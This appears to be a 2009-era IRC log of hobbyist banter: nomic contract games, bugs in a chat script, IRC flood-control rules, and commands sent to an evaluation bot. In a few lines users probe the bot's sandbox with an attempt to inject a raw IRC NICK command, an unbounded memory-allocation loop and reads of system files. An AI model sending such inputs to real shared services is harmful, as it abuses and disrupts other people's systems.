01:05:30 <pikhq> ehird: Oh, there's plent of things better than Unix.
01:05:43 <pikhq> What you're suggesting is not one of them.
01:05:53 <ehird> pikhq: OK, anything better than an environment of hodge-podged shell scripts.
01:06:02 <ehird> Since that's what sysadmins write all day ;-P
01:06:14 * GregorR swims through seaaaaaaaaaas of shell scripts.
01:06:21 <GregorR> EgoBot: Hello my shelly friend!
01:06:53 <pikhq> ehird: I wish that you may one day be forced to use the environment you suggest.
01:07:02 <ehird> pikhq: I'm working on that.
01:07:13 <ehird> To end the argument, let's all listen to a song about getting high with dinosaurs: http://www.youtube.com/watch?v=_23TGMeYrgw
01:07:19 <ehird> I believe this will resolve all disputes.
01:07:33 <GregorR> With a promise like that, how couldn't it?
01:08:42 -!- inurinternet has quit (No route to host).
01:13:34 <ehird> pikhq: Anyway, you're fucking nuts. (Isn't sodomy forbidden by the Bible?)
01:21:36 -!- inurinternet has joined.
01:27:29 -!- inurinternet has quit (Read error: 60 (Operation timed out)).
01:54:00 <immibis> can someone try version'ing me to see what happens?
01:58:00 -!- inurinternet has joined.
02:10:32 <GregorR> ehird: http://codu.org/algorhythms/
02:10:40 <GregorR> -immibis- VERSION http://www.mibbit.com ajax IRC Client .1864
02:30:26 -!- sebbu2 has joined.
02:30:56 <pikhq> GregorR: Aaaw, not RawIRC.
02:32:22 <GregorR> For the first time, my wearable is booting entirely under its own power :)
02:38:40 -!- coppro has quit ("client upgrade").
02:43:20 -!- coppro has joined.
02:45:17 -!- sebbu has quit (Read error: 110 (Connection timed out)).
03:09:53 <GregorR> KANTenKLAARmaaltijd has made a comment on Dutch Winnie the Pooh in English:
03:09:54 <GregorR> It's not the right translation.
03:17:22 -!- Tidus34 has joined.
03:20:51 -!- GreaseMonkey has joined.
03:29:37 <GregorR> http://codu.org/algorhythms/getmidi.php?mpid=Grumpily+Glib+Sonata // lawl sweet
03:33:29 -!- Tidus35 has quit (Read error: 110 (Connection timed out)).
03:33:29 -!- Tidus34 has changed nick to Tidus35.
03:35:17 -!- sebbu has joined.
03:35:18 -!- bsmntbombdood has joined.
03:50:20 -!- sebbu2 has quit (Read error: 110 (Connection timed out)).
04:32:23 -!- Gracenotes has quit ("Leaving").
04:33:01 -!- Gracenotes has joined.
05:22:51 <ais523> hmm... the motion to end SCO was heard today
05:23:09 <ais523> and the result: hearing postponed until July 16, 13 days from now
05:23:23 <ais523> the mathematical impossibility was required to comply with the relevant laws
05:23:40 <ais523> so the upshot: SCO litigation is now capable of time travel
05:30:04 <pikhq> Wow. I got a CTCP response for that.
05:31:51 <ais523> coppro: http://www.groklaw.net/article.php?story=20090615195402823
05:32:22 <immibis> seriously? a response for a ctcp ACTION?
05:33:35 * ais523 agrees to the following contract with myndzi, binding under the rules of Agora: {{{Any party to this contract can act on behalf of any other contract to cause them to register. This contract terminates 4 hours after it is created.}}}
05:33:36 * myndzi agrees to the following contract with ais523, binding under the rules of Agora: {{{Any party to this contract can act on behalf of any other contract to cause them to register. This contract terminates 4 hours after it is created.}}}
05:34:16 <pikhq> ais523: I approve.
05:34:33 <coppro> wait, needs to be done by announcement
05:34:35 <Warrigal> coppro, you're already registered, aren't you?
05:34:40 <Warrigal> In fact, you're Sean Hunt, aren't you?
05:34:45 <coppro> yes, but then I can register myndzi!
05:35:04 <immibis> "on behalf of any other contract"?
05:35:15 <coppro> eh, ais523, you need to fix that
05:35:26 * pikhq agrees to the following contract with myndzi: {{{Any party to this contract can act on behalf of another party to cause em to to register.}}}
05:35:26 * ais523 agrees to the following contract with myndzi, binding under the rules of Agora: {{{Any party to this contract can act on behalf of any other party to cause them to register. This contract terminates 4 hours after it is created.}}}
05:35:27 * myndzi agrees to the following contract with pikhq: {{{Any party to this contract can act on behalf of another party to cause em to to register.}}}
05:35:27 * myndzi agrees to the following contract with ais523, binding under the rules of Agora: {{{Any party to this contract can act on behalf of any other party to cause them to register. This contract terminates 4 hours after it is created.}}}
05:35:44 <ais523> so who's going to do the honours?
05:36:13 <Warrigal> I agree to the contract that ais523 and myndzi agreed to at 00:33 local time.
05:36:21 <Warrigal> I guess I'll do the honors, then.
05:36:26 <ais523> Warrigal: not the first one
05:36:36 * immibis fails to understand the contract
05:36:55 <pikhq> immibis: www.agoranomic.org
05:37:10 <Warrigal> I agree to the contract ais523 and myndzi agreed to at 00:35 local time.
05:38:05 <immibis> what exactly does that script do?
05:38:08 <ais523> ok, I'll do the registering of myndzi
05:38:10 * myndzi tests immibis's script
05:39:06 <pikhq> ais523: Already did.
05:39:27 <ais523> I'll send mine anyway, just in case
05:39:48 <coppro> hmm... I've got a funny idea
05:40:05 <ais523> anyway, this conversation should probably move to ##nomic
05:40:23 <coppro> ais523, Warrigal, you two should make a moustrap contract which I join, hoping to lure other players to join without knowing what it is
05:40:46 <ais523> I live in UTC, and I need to get home in time to wake up this morning
05:41:20 -!- ais523 has quit (Remote closed the connection).
05:42:23 <Warrigal> I have a feeling pikhq was using combining characters.
05:42:53 * coppro records myndzi as "questionably a player"
05:42:54 * myndzi records coppro as "questionably a player"
05:43:44 <coppro> pikhq, warrigal, want to try a mousetrap out
05:44:19 <Corun> What y'all doing to my IRC client :-<
05:44:23 <coppro> immibis: a moustrap is a contract designed to be binding a player to stuff they don't want
05:44:40 <coppro> here, I'll get the link
05:45:01 <coppro> http://www.nomic.net/~nomicwiki/index.php/MousetrapThesis
05:45:08 * Warrigal agrees to the following: {Warrigal may act on my behalf by announcement.} Also, myndzi.
05:45:09 * myndzi agrees to the following: {myndzi may act on my behalf by announcement.} Also, Warrigal.
05:45:14 * Corun rotates pikhq in to a non-existant dimension
05:46:00 * immibis agrees to the following: {The player whose name is the concatenation of the strings "immi" and "bis" may act on my behalf by announcement.}
05:46:03 * Warrigal agrees to the following: {Warrie (a.k.a. Ivan, Tom) may act on my behalf by announcement.} Also, myndzi.
05:46:03 * myndzi agrees to the following: {Warrie (a.k.a. Ivan, Tom) may act on my behalf by announcement.} Also, Warrigal.
05:46:15 -!- Corun has quit (Read error: 104 (Connection reset by peer)).
05:46:19 <immibis> since i'm not on agoranomic whatever i say hardly applies
05:46:33 <Warrigal> Agora recognizes lots of actions performed by non-players.
05:46:42 * Warrigal myndzi myndzi myndzimyndzi myndzi
05:46:43 * myndzi Warrigal Warrigal myndzi Warrigal
05:46:52 * coppro agrees to the following: {coppro may act on behalf of me by announcement}
05:47:04 * coppro agrees to the following: {coppro may act on behalf of me by announcement}, triggering myndzi
05:47:04 * myndzi agrees to the following: {coppro may act on behalf of me by announcement}, triggering coppro
05:47:21 * immibis gets a real irc client so he can stop using mibbit
05:47:28 <immibis> what would you suggest? something scriptable that runs on windows
05:49:12 <immibis> mIRC isn't free...Chatzilla is a firefox addon (so probably slow)
05:49:52 <coppro> Warrigal, pikhq, what conditions do we want in our trap?
05:50:17 <Warrigal> coppro: I want to be able to withdraw any proposal they submit and resubmit it under my own name.
05:50:44 <Warrigal> And would probably result in all the proposals failing. :-P
05:50:45 <coppro> but it's hard to enforce :(
05:51:10 <Warrigal> Anyway, for IRC, I always use irssi on normish.org.
05:51:21 <Warrigal> And connect to it from PuTTY whenever I'm on Windows.
05:52:29 <Warrigal> It works well. There's usually no lag, and I stay connected.
05:52:50 <Warrigal> An account on normish.org is pretty much available to anyone who asks.
05:55:01 <coppro> Why not just put act-on-behalf?
05:55:07 <coppro> it would be funnier that ay
05:56:23 <coppro> http://pastie.org/private/jfxwxuozod3vloksxbgdhq
05:56:39 <coppro> Warrigal and pikhq, agree to that
05:58:11 <Warrigal> pikhq and coppro, I join that contract.
05:58:15 <immibis> mibbit should have proper ctcp, i had to copy-paste ascii 0x01 to get that
05:58:29 * pikhq agrees to that contract
05:59:09 * pikhq agrees to the contract at http://pastie.org/private/jfxwxuozod3vloksxbgdhq; thanks, myndzi.
05:59:10 * myndzi agrees to the contract at http://pastie.org/private/jfxwxuozod3vloksxbgdhq; thanks, pikhq.
06:00:10 <pikhq> I consider myself well-notified.
06:00:17 <pikhq> The AFO, BTW, does *not* join that contract.
06:02:38 <Warrigal> coppro: immibis, I assume you're notified.
06:05:50 <coppro> let's see how many people it grabs
06:06:35 <coppro> shall we notify the Notary? E obviously knows of the plan
06:08:01 <coppro> actually, do you guys consent to appending "With consent of the Prime Members, the Notary can reveal this contract to Agora."
06:08:26 * coppro I, coppro, consent to that change to the contract between em, pikhq, myndzi, and Warrigal
06:08:27 * myndzi I, myndzi, consent to that change to the contract between em, pikhq, coppro, and Warrigal
06:15:29 * Warrigal gives myndzi a proper nickname, perhaps.
06:15:29 * myndzi gives Warrigal a proper nickname, perhaps.
06:18:34 -!- oerjan has joined.
06:32:28 <immibis> ok that is seriously glitched
06:32:53 * immibis Testing. immibis myndzi immibisimmibis myndzimyndzi
06:32:54 * myndzi Testing. myndzi immibis myndzi myndzi
06:33:12 * immibis slaps myndzimyndzi with a rainbow trout
06:33:21 * immibis slaps myndzimyndzi with a rainbow trout (myndzi)
06:33:21 * myndzi slaps myndzi with a rainbow trout (immibis)
06:33:28 * immibis slaps myndzimyndzi with a rainbow trout called myndzi
06:33:29 * myndzi slaps myndzi with a rainbow trout called immibis
06:33:34 <immibis> hey i'm not a rainbow trout!
06:34:00 <oerjan> it's the internet, how can he know
06:34:53 * immibis slaps himself or herself only if his or her name is myndzimyndzi
06:35:03 * immibis slaps himself or herself only if his or her name is myndzimyndzi. immibis is talking to myndzi.
06:35:04 * myndzi slaps himself or herself only if his or her name is myndzi. myndzi is talking to immibis.
06:35:54 * oerjan tickles myndzi with the patented oerjanfeather
06:35:55 * myndzi timyndziyndzmyndzierjanfeather
06:36:14 <oerjan> someone mentioned glitches? :D
06:36:25 * immibis slaps myndzi with the patented oerjanfeather
06:36:26 * myndzi slaps immibis with the patented oerjanfeather
06:36:34 <oerjan> has to be your own nick
06:36:34 * immibis slaps myndzi with the patented immibisfeather
06:36:35 * myndzi slmyndziyndzmyndzimmibisfeather
06:36:51 * immibis ** myndzi **** *** ******** immibis*******
06:36:52 * myndzi ** immibis **** *** ******** myndzi*******
06:36:58 * immibis ** myndzi **** *** ******** immibisf*******
06:36:59 * myndzi **myndziyndzmyndzimmibisf*******
06:37:03 * immibis ** myndzi **** *** ******** immibisf
06:37:08 * immibis ** myndzi **** *** ******** immibisf*
06:37:13 * immibis ** myndzi **** *** ******** immibisf****
06:37:27 * immibis ** myndzi **** *** ******** immibisf*******
06:37:38 <immibis> i wonder what kind of script glitches like that
06:37:42 <oerjan> you are being ignored now
06:37:55 <immibis> it would have to be incredibly badly written
06:38:00 -!- immibis has changed nick to immibis_.
06:38:11 * immibis_ ** myndzi **** *** ******** immibisf*********
06:38:11 * myndzi thinks immibis ** immibis_ **** *** ******** immibisf*********
06:38:13 <oerjan> indeed, regular expressions shouldn't cause something like that
06:38:28 * immibis_ ** myndzi **** *** ******** immibis_f*********
06:38:29 * myndzi thinks immibis **myndziyndzmyndzimmibis_f*********
06:38:41 * immibis_ ** myndzi **** *** immibis_f*********
06:38:42 * myndzi thinks immibis **myndziyndzmyndzimmibis_f*********
06:38:42 <oerjan> immibis_: it tracks nicks, and is sarcastic if you change it
06:38:53 <immibis_> how do you know so much about it
06:38:57 * immibis_ ** myndzi **** immibis_f*********
06:38:57 * myndzi thinks immibis **myndziyndzmyndzimmibis_f*********
06:39:06 <oerjan> because myndzi demonstrated it...
06:39:22 -!- immibis_ has changed nick to immibis__.
06:39:25 * myndzi thinks immibis_ **myndziyndzmyndzimmibis__f*********
06:39:26 <oerjan> but not the glitches...
06:39:35 <immibis__> pretty stupid throttling if its fooled by a nick change
06:39:38 * myndzi **myndziyndzmyndziopprof****
06:39:49 * myndzi thinks immibis_ **myndziyndzmyndzimmibis__f
06:39:53 * myndzi thinks immibis_ ** immibis__ myndzi
06:40:03 * myndzi thinks immibis_ * immibis__ myndzi?
06:40:10 * myndzi thinks immibis_ ** immibis__ myndzi?
06:40:15 * myndzi thinks immibis_ **myndziyndzmyndzimmibis__h
06:40:24 * myndzi thinks immibis_ **myndziyndzmyndzimmibis__immibis__1
06:40:29 * coppro myndzi, can you reply correctly?
06:40:30 * myndzi coppro, can you reply correctly?
06:40:55 * myndzi thinks immibis_ **myndzimmibis__f immibis__
06:40:58 * oerjan wonders what myndzi will do with a postoerjan
06:41:09 <oerjan> something horrible, it seems
06:41:26 * immibis__ myndzi somethingimmibis__somethingelse
06:41:26 * myndzi thinks immibis_ immibis__ somethingimmibis__somethingelse
06:41:39 * immibis__ ** myndzi somethingimmibis__somethingelse
06:41:39 * myndzi thinks immibis_ ** immibis__ somethingimmibis__somethingelse
06:41:56 * myndzi thinks immibis_ **myndziyndzmyndzi
06:42:11 <oerjan> oh it tracks _one_ nick change, but not over two...
06:42:24 * myndzi thinks immibis_ ** immibis__ \n myndzi
06:42:35 * myndzi thinks immibis_ ** immibis__\\ myndzi
06:42:46 * myndzi thinks immibis_ ** immibis__ aimmibis__a
06:43:32 * immibis__ says something to myndzi fromimmibis__
06:43:33 * myndzi thinks immibis_ samyndziyndzmyndzi
06:43:49 * myndzi thinks immibis_ fumyndziyndzmyndzi
06:44:05 * myndzi thinks immibis_ abmyndziyndzmyndzi
06:44:12 * myndzi thinks immibis_ a myndziyndzmyndzi
06:44:14 * oerjan guesses that myndzi is calculating the length of substrings wrongly
06:44:14 * myndzi guesses that oerjan is calculating the length of substrings wrongly
06:44:19 * myndzi thinks immibis_ cmyndziyndzmyndzi
06:44:27 * myndzi thinks immibis_ f myndziyndzmyndzi
06:44:32 * myndzi thinks immibis_ mmyndziyndzmyndzi
06:44:38 * myndzi thinks immibis_ mmyndziyndzmyndzi
06:44:44 -!- immibis__ has changed nick to RatherUnnecessar.
06:45:12 * RatherUnnecessar tells myndzi his nick was supposed to be RatherUnnecessarilyLongNick
06:45:39 -!- RatherUnnecessar has changed nick to b.
06:45:53 * myndzi thinks RatherUnnecessar b a__f
06:46:00 * b * myndzi a__f
06:46:01 * myndzi thinks RatherUnnecessar * b a__f
06:46:06 * myndzi thinks RatherUnnecessar * b af
06:46:14 -!- b has changed nick to c.
06:46:17 -!- c has changed nick to d.
06:46:39 -!- d has changed nick to immibis.
06:46:48 * myndzi thinks RatherUnnecessar * myndziyndzmyndzimmibisf
06:47:04 * myndzi thinks RatherUnnecessar * immibis iimmibisf
06:47:09 * myndzi thinks RatherUnnecessar * myndziyndzmyndzi
06:47:43 * immibis * myndzi RatherUnnecessarimmibis
06:47:43 * myndzi thinks RatherUnnecessar * myndziyndzmyndzi
06:47:54 * myndzi thinks RatherUnnecessar * immibis * * myndzi
06:47:59 * myndzi thinks RatherUnnecessar * immibis * myndzi
06:48:06 * myndzi thinks RatherUnnecessar * myndziyndzmyndzimmibisf
06:48:14 * myndzi thinks RatherUnnecessar * myndziyndzmyndzi
06:48:57 * lament can't decide whom to ban first.
06:49:22 * coppro thinks that you should ban myndzi first
06:49:22 * myndzi thinks that you should ban coppro first
06:50:30 <immibis> hey at least its not the time i got my script messed up so it would say "Pong! Ping!" every time anyone said anything
06:52:17 <oerjan> augur: we discovered myndzi's script has some glitches...
06:52:20 <immibis> me causing glitches in myndzi's script
06:52:51 <augur> what script is this
06:52:52 <myndzi> someone was having fun
06:53:15 <oerjan> a very cheerful script \o/
06:53:15 <augur> and you took advantage of it repeatedly.
06:53:24 * immibis says something to myndzi about the immibisthing
06:53:25 * myndzi thinks RatherUnnecessar samyndziyndzmyndzimmibisthing
06:53:47 <augur> what does this script do?
06:54:38 <oerjan> it responds to /me's with myndzi's nick in them, but its parsing is broken
06:54:41 <immibis> basically swaps your nick and myndzi's in actions
06:54:46 * myndzi thinks RatherUnnecessar talks to immibis
06:54:51 -!- jokido has joined.
06:54:52 <oerjan> when either nick is part of a larger word
06:55:03 <immibis> ignoring the fact that i changed my name to RatherUnnecessar to try and test it
06:55:29 <augur> sounds like a simple script
06:55:31 <oerjan> also it tracks nicks changes, but not perfectly
06:55:35 -!- immibis_ has joined.
06:55:46 -!- immibis has quit ("http://www.mibbit.com ajax IRC Client").
06:55:46 <augur> tracks nick changes?
06:55:51 -!- immibis_ has changed nick to immibis.
06:56:17 <Warrigal> La la la la \o/ is fun; la la la la \o/ is fun.
06:56:27 <lament> that's a ridiculously useful script
06:56:33 <Warrigal> \o/ \o/ \o/ \o/ \o/ \o/ \o/ \o/ \o/ \o/ \
06:56:34 <myndzi> |\ >\ /| /'\ /| /'\ /| /| |\ /|
06:56:40 <augur> haha hes got a cock :D
06:56:48 -!- jokido has quit ("Leaving").
06:56:54 <Warrigal> And the probability that there is more to see is... I dunno.
06:57:25 -!- CESSMASTER has joined.
06:57:50 <Warrigal> Probabilities never have plus-or-minus.
06:58:01 <oerjan> CESSMASTER: yes, that's about right :D
06:58:11 <dbc> CESSMASTER, an uncommonly non-alphanumeric one, by the look of it.
06:58:22 <myndzi> LOL holy shit wtf is that
06:58:34 <augur> hes scratching his head
06:58:37 <coppro> was that the script too?
06:59:07 <augur> guy with both arms behind his head
06:59:13 <augur> with sticks in his arms
06:59:25 * coppro needs to switch to a fixed-width fond
06:59:40 <augur> your fixed width magic isnt working for me Gracenotes
06:59:44 <coppro> I get the feeling CESSMASTER will fit right in
06:59:53 * immibis needs to get a client with utf-8 support...
07:00:00 <Gracenotes> augur: odd. it was originally written for variable-width
07:00:04 <Warrigal> ªēīºū: as you can see, my compose key does not allow me to easily type a or o with macron.
07:00:06 <lament> yep, it's variable width
07:00:07 * immibis sees a bunch of a-tilde-things and euro signs
07:00:13 <lament> so it depends on what font you see it in
07:00:17 <augur> well im using fixed width.
07:00:37 <Gracenotes> augur: I'm using fixed width on IRC too and it looks fine for me
07:00:47 <augur> well your fixed width is lame.
07:00:51 <CESSMASTER> ☃, for all you chumps without UTF-8, is the best unicode character ever
07:00:52 <augur> my encoding is fix
07:00:54 <dbc> Fixed width is great for all kinds of computer-related stuff. Not good for books or that kind of thing, of course.
07:01:00 <lament> Gracenotes: i don't think you're using fixed width.
07:01:05 <augur> my client can handle utf perfectly fine
07:01:14 <augur> i see all your utf
07:01:20 <augur> what im not seeing is hyour alignment
07:01:21 <myndzi> i see you guys have been having fun
07:01:24 <CESSMASTER> monospace is like capslock without the loud
07:01:35 <myndzi> i have no idea what the weird nick-in-larger-string bug is about
07:01:39 <myndzi> too drunk to troubleshoot it right now
07:01:40 <Gracenotes> 2ch-style graphics do not align perfectly
07:01:46 <coppro> myndzi: welcome to Agora!
07:01:52 <augur> Gracenotes: they do in original japanese.
07:01:55 <myndzi> also i don't play nomic or i wouldn't be so silly as to have such a script in such a channel ;)
07:01:58 <augur> yours, however, do not align at all.
07:02:09 <lament> my alignment can beat up your alignment.
07:02:10 <CESSMASTER> myndzi: you should make it draw an upside-down person when someone types >/
07:02:11 <augur> theres something with japanese fonts
07:02:19 <augur> i dont know what it is, but ive seen it happen
07:02:31 <myndzi> coppro: you can think so all you want, but i still won't participate
07:02:38 <Gracenotes> augur: take a screenshot and post it here
07:02:42 <myndzi> you may as well enroll a bot
07:02:48 <coppro> yes, that was sort of the point
07:02:49 <lament> myndzi: and if someone types >\ you should add the head and the torso immediately before they say it
07:02:52 <augur> ok post something new so i can give you a whole screenshot
07:03:06 -!- pikhq has quit (Read error: 104 (Connection reset by peer)).
07:03:09 <myndzi> lament: that'd be a pretty l33t script
07:03:13 <Gracenotes> augur: don't you have scrollback? Are you using a terminal-based client?
07:03:16 <Warrigal> lament: what if they type >\>\>\?
07:03:23 <myndzi> did you guys know about \m/ \m/ ?
07:03:27 <augur> i do have scrollback but the previous ones were interrupted
07:03:29 <Warrigal> I guess the characters will have to overlap.
07:03:38 <augur> good lord what is that myndzi
07:03:46 <lament> Warrigal: no big deal. Doesn't unicode support quantum superposition?
07:03:55 <myndzi> -\m/-\m/-\m/-\m/-\m/-\m/-\m/-\m/-\m/-\m/-\m/-\m/-\m/-\m/-\m/-\m/-
07:04:00 <CESSMASTER> myndzi: you're officially the first person ever to tempt me to switch to monospace
07:04:10 <myndzi> -\m/ \m/--\m/ \m/--\m/ \m/--\m/ \m/--\m/ \m/--\m/ \m/--\m/ \m/--\m/ \m/--\m/ \m/-
07:04:11 <myndzi> `\o/´ `\o/´ `\o/´ `\o/´ `\o/´ `\o/´ `\o/´ `\o/´ `\o/´
07:04:11 <myndzi> /´\ (_|¯'\ /`\ /`¯|_) /`\ (_|¯`¯|_) /`\ (_|¯´\ /`\
07:04:12 <myndzi> (_| |_) |_) (_| |_) (_| (_| |_) (_| |_) |_) (_| |_)
07:04:19 <Warrigal> \o/ \o/ \m/ \m/ \o/ \m/ \m/ \m/ \o/ \m/ \m/
07:04:27 <lament> myndzi: that's the most beautiful thing ever.
07:04:39 <myndzi> i think the loner \m/ threw it off
07:04:39 <augur> howsit work myndzi
07:04:50 <myndzi> nobody's ever found so many bugs in so little time
07:05:02 <myndzi> 1) there has to be space to put him in
07:05:08 <lament> myndzi: with many bugs, all eyes are shallow
07:05:09 <myndzi> 2) there has to be space to put him in
07:05:20 <Warrigal> \m/ doesn't do anything, but \m/ \m/ does this.
07:05:24 <myndzi> with a space between them
07:05:36 <myndzi> also his foot often extends one character to the left
07:05:50 <Warrigal> Does it ever extend one character to the right?
07:05:50 <augur> Gracenotes: i think your 2ch images suck and wont admit it
07:05:56 <myndzi> so you can't do it if your nick is the same length as mine and there's nothing in front, etc.
07:06:01 <myndzi> Warrigal: yes, same frequency
07:06:20 * immibis is trying to figure out what \m/ is supposed to show
07:06:20 <myndzi> i actually never knew i could do \o/\m/ \m/ lol
07:06:35 <myndzi> without a space between the little guy and the big guy
07:06:40 <Warrigal> I think an \m/ \m/ \m/ \m/ \m/ \m/ \m/ \m/ \m/ \m/ \m/ \m/ \m/ \m/ \m/ \m/ \m/ \m/ \m/ \m/ \m/ \m/ \m/ \m/ \m/ \m/ \m/ \m/ \m/ \m/ \m/ \m/ is in order.
07:07:00 <myndzi> also it's length-limited to prevent excess fglood
07:07:13 <myndzi> immibis: it's the horns man!
07:07:15 <Warrigal> immibis: it's a fist surrounded by a pinky and thumb, isn't it?
07:07:18 <immibis> \o/\m/ \m/ \o/\m/ \m/ \o/\m/ \m/ \o/\m/ \m/ \o/\m/ \m/ \o/\m/ \m/
07:07:23 <immibis> \o/\m/ \m/ \o/\m/ \m/ \o/\m/ \m/ \o/\m/ \m/
07:07:25 * immibis \o/\m/ \m/ \o/\m/ \m/ \o/\m/ \m/ \o/\m/ \m/
07:07:31 <myndzi> universal sign of METAL!
07:07:36 <myndzi> http://en.wikipedia.org/wiki/The_horns
07:08:11 <immibis> yes i really need to find a client with utf-8
07:08:34 <myndzi> the rocker is sorta inspired by this video: http://www.youtube.com/watch?v=tkw4jhDE1eQ
07:08:37 <myndzi> the stomping boots, mostly
07:08:58 -!- olsner has joined.
07:09:23 <myndzi> er, to backtrack a bit, < augur> howsit work myndzi
07:09:40 <myndzi> it just calculates the length difference between the person's nick and mine and spaces things accordingly
07:09:52 <myndzi> doesn't work with all clients/themes but there's little i can do about that
07:10:01 <myndzi> augur: your nick is 1 letter shorter than mine
07:10:01 <augur> i mean the \o/ think
07:10:17 <myndzi> i take the number of characters before \o/
07:10:24 -!- immibis has changed nick to myndiz.
07:10:29 <myndzi> and insert that many spaces
07:10:36 -!- myndiz has changed nick to immibis.
07:10:44 <augur> right, but what about for the ones that fit \m/ \m/
07:11:01 <augur> it seems to fit the little guys around one another!
07:11:03 <myndzi> all i need to do is put it "under" those characters
07:11:16 <myndzi> if you look they are strictly delimited in columns
07:11:22 <myndzi> i don't bother with anything more complicated than that
07:11:32 <myndzi> the little guy is 3 chars wide
07:11:43 <myndzi> and only the boots of the big guy are ever more than 3 chars wide
07:11:48 <myndzi> and his boots are lower than the little guy
07:11:51 <myndzi> so there's no conflict
07:13:14 <myndzi> must be flood protection
07:13:21 <myndzi> there's more strict flood protection on the big guy
07:13:26 <myndzi> because he is more lines
07:13:40 <immibis> !sh echo; echo NICK EgoBot2
07:14:09 <myndzi> it's just two in a row quickly that it's blocking
07:14:32 <myndzi> the flood protection is calculated to be approximately in range of normal irc throttling
07:15:08 <puzzlet> myndzi: anyway hwere can i find rules for normal irc throttling
07:15:20 <myndzi> or i could just tell you
07:15:38 <myndzi> ;secs += 1 + int(len(PRIVMSG target :message) / 90)
07:15:38 <myndzi> ;secs += 2 + int(len(PRIVMSG target :message) / 120)
07:16:00 <myndzi> also bahamut adds like 2 seconds for messages with > 10 targets i think
07:16:03 <oerjan> ^ul ( )(\m)(/ )*:*( )*::***S
07:16:04 <fungot> \m/ \m/ \m/ \m/ \m/ \m/
07:16:21 <myndzi> i don't know why unreal changed the formula, i don't like it much
07:17:08 <myndzi> theirs allows like 10 lines of spam
07:17:17 <immibis> [18:16] <EgoBot> /tmp/input.16388: line 1: 16397 Exit 146 ps
07:17:17 <immibis> [18:16] <EgoBot> 16398 Killed | ( while true; do
07:17:17 <immibis> [18:16] <EgoBot> { read hi; echo -n $hi; };
07:17:26 <immibis> i sent that command LAST WEEK
07:17:45 <immibis> well might have been on the weekend
07:19:10 <puzzlet> myndzi: thanks, but can't find specification about throttling in rfc 1495
07:19:55 <coppro> There is no throttling in the spec
07:20:44 <coppro> I think the most it says is "servers may kill spammy clients, so they are encouraged to use some sort of throttling so this doesn't happen"
07:20:59 <myndzi> i'd read the doc multiple times and didn't realize it was there either
07:21:10 -!- kar8nga has joined.
07:21:11 <myndzi> 8.10 Flood control of clients
07:21:18 <myndzi> The current algorithm is as follows:
07:21:18 <myndzi> * check to see if client's `message timer' is less than
07:21:18 <myndzi> current time (set to be equal if it is);
07:21:18 <myndzi> * read any data present from the client;
07:21:19 <myndzi> * while the timer is less than ten seconds ahead of the current
07:21:21 <myndzi> time, parse any present messages and penalize the client by
07:21:24 <myndzi> 2 seconds for each message;
07:21:27 <myndzi> which in essence means that the client may send 1 message every 2
07:21:30 <myndzi> seconds without being adversely affected.
07:21:39 <myndzi> bahamut adds to this an extra penalty for longer messages
07:21:46 <myndzi> and, later, a penalty for many targets
07:23:46 <myndzi> lots of people use unreal, which is derivative of bahamut
07:23:59 <myndzi> i don't know how many people use bahamut, but it's pretty decent on its own
07:24:02 <myndzi> i sure as hell don't like unreal
07:24:23 <CESSMASTER> i thought unreal was a derivative of uh
07:24:46 <myndzi> i think dreamforge is bahamut
07:25:06 <CESSMASTER> used to go on a network that used anope and unreal
07:25:06 <myndzi> Bahamut is an Internet Relay Chat Daemon (IRCd) designed for DALnet, one of the major IRC networks in the world. You may be familiar with DreamForge, the previous DALnet IRCd.
07:26:00 <myndzi> The Bahamut IRCD is based on the EFNet Hybrid IRCD and has many additional features primarily designed for the DALnet IRC network. Its features include very high performance, compatibility with Solaris, BSD and Linux and a high level of stability under very high load, as well as many improvements over the original EFNet code. Bahamut is not compatible with Dreamforge as of version 1.2.0.
07:31:17 <bsmntbombdood> what project doesn't say that they are high performance
07:35:26 -!- FireFly has joined.
07:37:00 <EgoBot> http://google.com/search?q="damn+big+linux"
07:37:11 <immibis> how is that supposed to be helpful exactly?
07:37:31 <immibis> !cat http://google.com/search?q="damn+big+linux"
07:43:15 <augur> so i really wanna experiment with a language that works by overt composition of abstract syntax rather than composed concrete syntax
07:43:24 <augur> anyone have any comments or something?
07:43:38 <augur> like, what might be interesting to explore?
07:44:05 <oerjan> !cat http://google.com/search?q="damn+big+linux"
07:44:25 <EgoBot> That is not a user interpreter!
07:44:36 <oerjan> well if it had existed, it would be clever
07:44:54 <EgoBot> Installed user interpreters: aol austro b1ff bc bct bfbignum brit brooklyn chef chiqrsx9p choo cockney dc drawl dubya echo ehird fudd google graph gregor hello jethro kraut num ook pansy pirate plot postmodern postmodern_aoler redneck rot13 sadbf slashes swedish valspeak warez yodawg
07:45:27 <oerjan> !echo http://google.com/search?q="damn+big+linux"
07:45:55 <oerjan> that _should_ have worked :(
07:47:06 <oerjan> !echo http://oerjan.nvg.org/esoteric/
07:47:43 <oerjan> ok so it's not EgoBot's fault the google url doesn't show up
07:48:19 <oerjan> immibis: the rest is sent as DCC CHAT
07:48:51 <immibis> !echo http://en.wikipedia.org/wiki/EgoBot
07:49:38 <oerjan> maybe it doesn't work on sites that expect an advanced browser client
07:50:37 <oerjan> google, and wikipedia, in EgoBot
07:50:47 <EgoBot> <?xml version="1.0" encoding="utf-8" ?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
07:51:07 <immibis> wth it gave me this in dcc chat:
07:51:08 <immibis> [18:50] <EgoBot> ./interps/gcccomp/gcccomp: line 52: /tmp/compiled.2685: No such file or directory
07:51:24 <augur> as opposed to just echoing the url
07:51:36 <immibis> !c int i; while(i++) new char[i];
07:51:51 <immibis> !cxx int i; while(i++) new char[i];
07:52:07 <immibis> !sh cat /proc/MemInfo | grep MemFree
07:52:07 <EgoBot> /bin/cat: /proc/MemInfo: No such file or directory
07:52:11 <immibis> !sh cat /proc/meminfo | grep MemFree
07:52:34 <immibis> !sh cat /proc/meminfo | grep MemFree
07:53:13 <Warrigal> !echo http://normish.org/root/dev/urandom
07:53:30 <Warrigal> !echo http://normish.org/ihope/dodadodidi/arson.txt
07:53:31 <EgoBot> David slowed his pace slightly as his ears,
07:55:59 -!- BeholdMyGlory has joined.
07:56:36 <EgoBot> <?xml version="1.0" encoding="utf-8" ?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
07:56:51 <Warrigal> !echo http://normish.org/ihope/dodadodidi/breakin.txt
07:56:52 <EgoBot> It was a simple operation: David would open the door quietly, sneak
07:57:19 <immibis> why is your nick warrigal?
07:57:35 <Warrigal> The better question, in my opinion, is why that symbolic link is called ihope.
07:58:10 <Warrigal> !echo http://normish.org/Warrigal/dodadodidi/arson.txt
